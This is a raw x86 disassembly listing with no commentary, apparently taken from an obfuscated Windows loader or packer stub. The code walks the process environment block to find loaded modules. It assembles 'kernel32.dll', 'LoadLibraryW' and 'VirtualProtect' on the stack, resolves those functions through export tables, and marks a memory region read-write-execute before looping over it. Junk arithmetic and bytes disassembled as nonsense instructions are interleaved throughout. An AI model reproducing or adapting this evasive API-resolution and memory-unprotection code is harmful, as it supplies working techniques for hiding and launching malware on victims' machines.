mov dword [ebp - 0x4e0], edx
jmp 0x533f37
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x533cc5
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x533f37
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x533d1f
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x533f2b
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x533d8f
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x533e41
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x533e41
push eax
push edx
add esp, 4
or eax, 0xc347
call 0x533dd5
add byte [eax + 0x44], cl
dec eax
xor ecx, dword [edi + 0x50]
cmp esi, dword [ebx + eax*4]
les eax, [eax + ebx*2]
push edx
jmp 0x533de1
jmp 0x533de7
add edx, 0x14d89
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x533e33
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x533e3a
jmp 0x533d80
jmp 0x533e41
push esi
push esi
add esp, 4
and esi, 0x1874
pop esi
push esi
and esi, 0x783c
xor esi, 0x109d2
pop esi
push edx
push edi
add esp, 4
xor edx, 0x1f65
or edx, 0x10d43
or edx, 0x1855b
pop edx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x533ea0
mov dword [ebp - 0xc40], 0
jmp 0x533f0f
push eax
jmp 0x533ea9
pop eax
push edi
push ecx
add esp, 4
sub edi, 0x2c22
or edi, 0x11531
add edi, 0x13d55
call 0x533ece
add byte [0x3e404e33], dh
dec eax
inc esi
add esp, 4
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x533f05
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x533f0f
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x533f26
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x533f37
jmp 0x533d10
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
add ebx, 0xe243
call 0x533f5a
add byte [edx], dh
inc edi
inc ebx
dec esp
inc edi
dec esi
inc ecx
inc edi
dec ebp
xor eax, dword [ebx - 0x147efb3c]
pop ebx
cmp byte [ecx], al
add byte [ebx + 0x53], bl
call 0x533f71
add byte [eax + 0x49], dl
inc edx
dec esp
cmp dword [ebx + eax*4 - 0x3c], ecx
add al, 0x5b
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
push esi
add esp, 4
sub edi, 0x16516
sub edi, 0x14d29
add edi, 0x12b9b
and edi, 0x9f12
pop edi
push eax
or eax, 0xc67e
and eax, 0xcc32
add eax, 0x13f11
pop eax
cmp dword [ebp - 0x3cc], 0
je 0x533fc8
cmp dword [ebp - 0xa5c], 0
jne 0x53400e
push ebx
add ebx, 0x129c8
pop ebx
push edi
push ecx
add esp, 4
jmp 0x533fde
xor edi, 0x2fad
jmp 0x533feb
pop edi
push edi
sub edi, 0x1b97
add edi, 0x16f38
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edi
jmp 0x53401e
jmp 0x534025
call 0x534031
add byte [edi + 0x36], cl
cmp al, byte [edi + 0x32]
dec esi
add esp, 4
pop edi
push ecx
push ebx
add esp, 4
call 0x534046
add byte [ebx + 0x3b], al
aas
cmp ecx, dword [ebx + 0x49]
add esp, 4
pop ecx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ecx
and ecx, 0xa39e
add ecx, 0x80b5
or ecx, 0x5862
pop ecx
push ebx
push ebx
add esp, 4
xor ebx, 0x17924
pop ebx
push edx
push edi
add esp, 4
xor edx, 0x16283
or edx, 0x2530
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
push ecx
add esp, 4
xor edi, 0x3ac8
add edi, 0x149cb
jmp 0x534129
pop edi
push eax
push edi
add esp, 4
and eax, 0x15efe
or eax, 0x149eb
or eax, 0x1365b
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edx
jmp 0x534172
pop edx
push esi
jmp 0x53417a
xor esi, 0x965a
and esi, 0x12aa2
pop esi
push esi
and esi, 0xb1b8
xor esi, 0xf29f
xor esi, 0x8df8
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x5341b3
mov dword [ebp - 0x2a8], 0
jmp 0x53445a
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
xor esi, 0xaf34
pop esi
push ecx
push edi
add esp, 4
and ecx, 0xc51b
xor ecx, 0x53b0
pop ecx
push ecx
push eax
add esp, 4
sub ecx, 0x15ed0
pop ecx
push eax
push esi
add esp, 4
xor eax, 0xeaf0
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x53420f
mov dword [ebp - 0x2a8], 0
jmp 0x53445a
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ebx
push edx
add esp, 4
call 0x53422d
add byte [eax + 0x33], al
inc edi
cmp byte [ebx + 0x43], al
xor eax, dword [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
inc edi
cmp edx, dword ds:[eax + 0x40]
inc esi
dec ebp
add esp, 4
or ebx, 0x7418
xor ebx, 0x903d
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
push ecx
add esp, 4
call 0x534289
add byte [ebx], dh
dec ebp
inc edi
inc ebp
inc ecx
dec ebx
inc esp
add esp, 4
pop esi
push ecx
push edx
add esp, 4
xor ecx, 0x1208e
pop ecx
push edi
sub edi, 0x10afc
pop edi
push ecx
add ecx, 0x137c7
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edx
push ecx
add esp, 4
xor edx, 0x6e83
pop edx
push eax
and eax, 0x17364
and eax, 0x12c0f
add eax, 0x37c2
jmp 0x534325
pop eax
push esi
push ecx
add esp, 4
xor esi, 0x15692
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x53434f
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x5343a9
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x534277
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x534277
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x534393
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x53439d
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x5343f2
push eax
call 0x5343c0
add byte [edx + 0x4c], al
inc esp
xor edi, dword [ecx]
aas
add esp, 4
sub eax, 0xbcef
and eax, 0xa1e4
sub eax, 0x8b73
pop eax
push eax
sub eax, 0xec79
sub eax, 0xf279
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x53445a
push edi
push ecx
add esp, 4
jmp 0x5343fe
add edi, 0x12e4a
pop edi
push ebx
add ebx, 0xa310
call 0x53441a
add byte [edx + 0x36], al
dec eax
dec edi
dec edx
dec esi
cmp ecx, dword [eax - 0x7d]
les eax, [ecx + eax*4]
ret
push ecx
call 0x534468
add byte [ecx + 0x48], cl
xor eax, 0x334c4646
add esp, 4
jmp 0x534473
pop ecx
push edx
push esi
add esp, 4
xor edx, 0x51cb
and edx, 0x2b73
sub edx, 0x1713c
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x534d91
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
sub eax, 0x5d23
pop eax
push eax
push eax
add esp, 4
sub eax, 0x1219e
jmp 0x53454d
pop eax
push eax
add eax, 0x6017
add eax, 0xf9f9
jmp 0x534563
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
call 0x5345f6
add byte [edx], bh
cmp eax, 0x3334424a
cmp eax, dword [ebx + 0x575804c4]
push edx
add esp, 4
and edi, 0xa1b
sub edi, 0x109bd
and edi, 0x10037
pop edi
push edx
jmp 0x534618
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x534631
mov dword [ebp - 0x710], 0
jmp 0x5348d8
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
jmp 0x53464c
add edi, 0x5c19
pop edi
push edx
push edi
add esp, 4
call 0x534665
add byte [eax + 0x3e], cl
inc ebx
cmp al, 0x3e
dec eax
dec ebx
add esp, 4
xor edx, 0x5290
or edx, 0xce37
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x53468d
mov dword [ebp - 0x710], 0
jmp 0x5348d8
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
xor ecx, 0x1606a
and ecx, 0x13a8
sub ecx, 0x6675
pop ecx
push esi
push edi
add esp, 4
and esi, 0xd5b1
pop esi
push esi
push ebx
add esp, 4
add esi, 0x167c7
or esi, 0x24a9
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
push ebx
add esp, 4
jmp 0x534700
add edx, 0xbcab
jmp 0x53470e
pop edx
push esi
push ecx
add esp, 4
sub esi, 0x12cfd
xor esi, 0xad22
sub esi, 0x59a
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
jmp 0x534784
add ecx, 0x2414
and ecx, 0x973e
and ecx, 0xae6
pop ecx
push edi
push esi
add esp, 4
jmp 0x5347a3
xor edi, 0x12489
or edi, 0x11c5e
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x5347cd
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x534827
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x5346f5
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x5346f5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x534811
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x53481b
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x534870
push ecx
sub ecx, 0x61c4
pop ecx
push ebx
sub ebx, 0x91db
xor ebx, 0x10858
pop ebx
push edi
xor edi, 0x5198
jmp 0x534855
add edi, 0xe4c
and edi, 0x92a2
pop edi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x5348d8
push eax
add eax, 0x10fa2
call 0x534887
add byte [eax], bh
push eax
cmp eax, 0x33434149
xor al, 0x4f
inc eax
add esp, 4
sub eax, 0x17861
call 0x53489e
add byte [ebx + 0x44], cl
dec edi
dec edi
cmp eax, 0x834e4736
les eax, [eax + ebx*2]
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x5348ce
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x534699
mov dword [ebp - 0x710], 0
push eax
call 0x5348e8
add byte [ecx + 0x4f], cl
xor eax, 0x42344c50
inc ecx
aaa
add esp, 4
xor eax, 0xdec0
jmp 0x5348f8
call 0x534906
add byte [eax + 0x33], dl
dec esp
inc ecx
inc ebp
dec esp
inc edx
cmp eax, dword [ebx - 0x7ca7fb3c]
mov ebp, 0xfffff8f0
add byte [ebp + 0x41], dh
push edx
push esi
add esp, 4
xor edx, 0xd2a7
xor edx, 0x92af
sub edx, 0x1c39
pop edx
push esi
add esi, 0x106ff
or esi, 0x9efd
and esi, 0x78ef
sub esi, 0x14b64
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x53547c
push edx
and edx, 0x8f94
xor edx, 0x8713
and edx, 0x14ffb
add edx, 0x1827c
pop edx
push ecx
push ebx
add esp, 4
sub ecx, 0x174af
and ecx, 0x17217
and ecx, 0x14fdf
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
push eax
add esp, 4
call 0x534dff
add byte [ebp + 0x3f], cl
dec ebx
dec esi
dec edx
inc ecx
dec eax
xor al, 0x83
les eax, [ecx + eax*4]
loope 0x534e7c
jnp 0x534e08
add byte [ecx + 0x3f6ae9], al
add byte [ecx + 0x52], bl
sub ecx, 0x3f6a
pop ecx
push edx
xor edx, 0x6262
xor edx, 0x168e
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x534e35
mov dword [ebp - 0x2a8], 0
jmp 0x5350dc
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push esi
add esp, 4
sub edx, 0xb1d
pop edx
push esi
jmp 0x534e5d
sub esi, 0x224c
and esi, 0xb0e5
call 0x534e75
add byte [edi], dh
dec eax
cmp byte [esi + esi + 0x4e], al
add esp, 4
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x534e91
invalid
mov dword [ebp - 0x2a8], 0
jmp 0x5350dc
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
call 0x534ead
add byte [edi], bh
dec esi
cmp dword [eax + edi + 0x35], eax
inc ebp
aaa
xor eax, dword [ebx + 0x565b04c4]
push eax
add esp, 4
call 0x534ec5
add byte [esi], dh
cmp bh, byte [esi]
cmp esi, dword [esi]
cmp dword [ebx + 0x34], eax
inc edi
add esp, 4
add esi, 0x974
pop esi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
push edx
add esp, 4
sub ebx, 0x4918
sub ebx, 0x3cbe
add ebx, 0x1335b
or ebx, 0xdd01
pop ebx
push esi
add esi, 0x79ca
or esi, 0x15ec1
and esi, 0xec0f
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ecx
jmp 0x534f8a
and ecx, 0x814c
pop ecx
push edx
push edx
add esp, 4
sub edx, 0x172ab
pop edx
push eax
or eax, 0x1f05
or eax, 0xc8d4
jmp 0x534fb3
pop eax
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x534fd1
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x53502b
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x534ef9
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x534ef9
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x535015
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x53501f
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x535074
push ebx
push ebx
add esp, 4
add ebx, 0x15c86
jmp 0x535048
call 0x535054
add byte [edi], bh
push eax
cmp al, 0x43
dec ebx
add esp, 4
pop ebx
push esi
sub esi, 0x10f96
and esi, 0xce66
pop esi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x5350dc
push ebx
push ebx
add esp, 4
jmp 0x53507e
sub ebx, 0x5c7b
jmp 0x53508a
pop ebx
push edx
push eax
add esp, 4
and edx, 0x15537
xor edx, 0xc508
jmp 0x5350a5
pop edx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x5350d2
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x534e9d
mov dword [ebp - 0x2a8], 0
push ecx
push eax
add esp, 4
call 0x5350f0
add byte [edi + 0x49], al
cmp byte [ecx], bh
push eax
inc ebx
inc edx
dec ebp
inc edx
add esp, 4
sub ecx, 0x8865
pop ecx
push edi
call 0x53510a
add byte [edx + 0x4d], al
cmp edi, dword [eax + ecx*2]
xor eax, 0x83353547
les eax, [edi + ebx*2]
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push esi
and esi, 0x156cc
xor esi, 0xc536
xor esi, 0x9303
add esi, 0xdd72
pop esi
push ebx
push esi
add esp, 4
add ebx, 0x9184
sub ebx, 0x3a3f
add ebx, 0x10f3f
pop ebx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x53517f
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x535470
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x5351a7
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x535470
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x5351d9
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x535470
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x5351fe
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x535470
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x535258
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x535464
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x5352c8
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x53537a
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x53537a
push eax
call 0x535306
add byte [edx + 0x48], al
inc ecx
xor bh, byte [esi]
inc eax
aas
xor ecx, dword [ecx + ecx*2 - 0x7d]
les eax, [eax + ebx*2]
push ebx
sub ebx, 0x127a4
xor ebx, 0x15ce0
call 0x535323
add byte [eax], bh
xor dh, byte [ebx]
aaa
inc eax
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x53536c
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x535373
jmp 0x5352b9
jmp 0x53537a
push edx
call 0x535388
add byte [esi + 0x33], cl
dec ecx
aaa
cmp dword ds:[ebx + eax*4 - 0x3c], eax
add al, 0x81
loop 0x5353db
push es
add dword [eax], eax
pop edx
push eax
push ecx
add esp, 4
and eax, 0xad12
pop eax
push ebx
add ebx, 0x54a8
xor ebx, 0xd7bd
pop ebx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x5353d9
mov dword [ebp - 0xc6c], 0
jmp 0x535448
push edi
push edx
add esp, 4
sub edi, 0x7343
and edi, 0x3954
pop edi
push edi
xor edi, 0x680f
sub edi, 0x9fb9
call 0x535407
add byte [ebp + ecx*2 + 0x42], al
inc ebp
dec edx
cmp al, 0x37
cmp eax, 0x5f04c483
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x53543e
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x535448
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x53545f
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x535470
jmp 0x535249
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push esi
jmp 0x535482
pop esi
push eax
call 0x535491
add byte [edx + 0x4b], cl
aaa
dec eax
dec esi
inc edi
aas
add esp, 4
or eax, 0x135ef
jmp 0x53549f
sub eax, 0xb501
pop eax
push ecx
jmp 0x5354ad
pop ecx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x535521
push ebx
push ebx
add esp, 4
sub ebx, 0x85a7
add ebx, 0x539c
add ebx, 0xff7e
and ebx, 0x1227f
pop ebx
push ecx
add ecx, 0x1d3f
pop ecx
push ebx
push edx
add esp, 4
add ebx, 0xb03b
pop ebx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x53553e
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x53559a
push edi
add edi, 0x12b66
sub edi, 0x17d0
call 0x535568
add byte [esi + 0x50], al
xor al, 0x3b
inc eax
